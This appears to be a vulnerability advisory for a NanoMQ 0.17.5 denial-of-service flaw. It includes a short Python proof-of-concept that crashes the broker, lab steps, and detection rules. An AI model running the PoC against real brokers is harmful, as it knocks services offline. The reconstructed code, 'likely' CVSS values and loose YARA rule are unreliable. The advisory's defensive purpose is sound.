CVE-2024-42650

Executive Summary

CVE-2024-42650 is a denial-of-service (DoS) vulnerability in NanoMQ version 0.17.5, specifically within the /nanomq/pub_handler.c component. The flaw allows an attacker to trigger a segmentation fault by sending a crafted PUBLISH message, leading to a crash of the MQTT broker. This vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No official patch or GitHub advisory is available, and the vendor has not confirmed a fix. The vulnerability is classified under CWE-476 (NULL Pointer Dereference) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

Supply Chain & Package Security

NanoMQ is an open-source MQTT broker written in C, commonly deployed in IoT and edge computing environments. The vulnerability affects version 0.17.5, which may be distributed via package managers or container images. Users should verify their deployment version and consider upgrading to a newer release if available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High
• Threat Level: Medium (due to DoS impact and lack of patch)

Deep Dive & Mechanics

The vulnerability resides in the pub_handler.c file of NanoMQ 0.17.5. When the broker processes a specially crafted PUBLISH message, a NULL pointer dereference occurs in the handler function, causing a segmentation fault. This crash terminates the broker process, resulting in a denial of service for all connected clients and MQTT services.

The root cause is improper validation of the PUBLISH message payload or topic before processing. An attacker can exploit this by sending a malformed MQTT PUBLISH packet over TCP (port 1883) or WebSocket (port 8083). The vulnerability does not require authentication, making it exploitable by any network-accessible attacker.

Vulnerable vs. Patched Code

Vulnerable Code (NanoMQ 0.17.5 - pub_handler.c):

// Simplified vulnerable snippet
void handle_publish(nano_work *work) {
    // No null check on work->pub_packet
    nano_msg *msg = work->pub_packet; // Potential NULL dereference
    // ... process msg
}

Patched Code (Hypothetical fix):

void handle_publish(nano_work *work) {
    if (work->pub_packet == NULL) {
        // Log error and return
        return;
    }
    nano_msg *msg = work->pub_packet;
    // ... process msg
}

No official patch is available. The fix would involve adding NULL pointer checks before dereferencing the PUBLISH packet.

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) Exploit:

import socket
import struct

def craft_malicious_publish():
    # Craft a malformed PUBLISH packet (simplified)
    packet_type = 0x30  # PUBLISH
    remaining_length = 0x00  # Invalid length
    packet = struct.pack('!BB', packet_type, remaining_length)
    return packet

def exploit(target_ip, target_port=1883):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    payload = craft_malicious_publish()
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Lab Setup:

1. Deploy NanoMQ 0.17.5 on a Linux VM (e.g., Ubuntu 22.04).
2. Start the broker: nanomq start.
3. Run the PoC script against the broker's IP.
4. Observe broker crash via nanomq status or process monitoring.

Blue Team

Detection Steps:

1. Monitor broker logs for segmentation fault errors.
2. Use network monitoring to detect malformed MQTT packets.
3. Implement rate limiting and input validation on MQTT topics.

Honeypot Configuration:

# Honeypot to capture exploit attempts
version: '3'
services:
  nanomq_honeypot:
    image: nanomq:0.17.5
    ports:
      - "1883:1883"
    logging:
      driver: json-file

Indicators of Compromise (IOCs)

• Network: Malformed MQTT PUBLISH packets with invalid remaining length or topic.
• Logs: Segmentation fault errors in /var/log/nanomq.log or syslog.
• Process: NanoMQ broker process crashes unexpectedly.
• File: Core dump files (e.g., core) in the broker's working directory.

Detection Engineering

YARA Rule

rule CVE_2024_42650_NanoMQ_PUBLISH_DoS {
    meta:
        description = "Detects malformed MQTT PUBLISH packets targeting NanoMQ 0.17.5"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42650"
    strings:
        $mqtt_publish = { 30 ?? }  // PUBLISH packet type with variable length
        $invalid_length = { 00 }   // Zero remaining length
    condition:
        $mqtt_publish and $invalid_length
}

Sigma Rule

title: NanoMQ PUBLISH DoS Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects malformed MQTT PUBLISH packets targeting NanoMQ 0.17.5
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        - app_proto: "mqtt"
        - mqtt.cmd: "publish"
        - mqtt.len: 0
    condition: selection
falsepositives:
    - Legitimate MQTT clients with empty payloads (rare)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-42650 NanoMQ PUBLISH DoS Attempt"; flow:to_server,established; content:"|30 00|"; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Workaround: Disable anonymous MQTT connections and require authentication.
3. Firewall: Restrict access to MQTT ports (1883, 8083) to trusted IPs only.
4. Monitoring: Deploy IDS/IPS rules (Suricata/Snort) to detect malformed packets.
5. Containerization: Run NanoMQ in a container with resource limits to mitigate crash impact.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert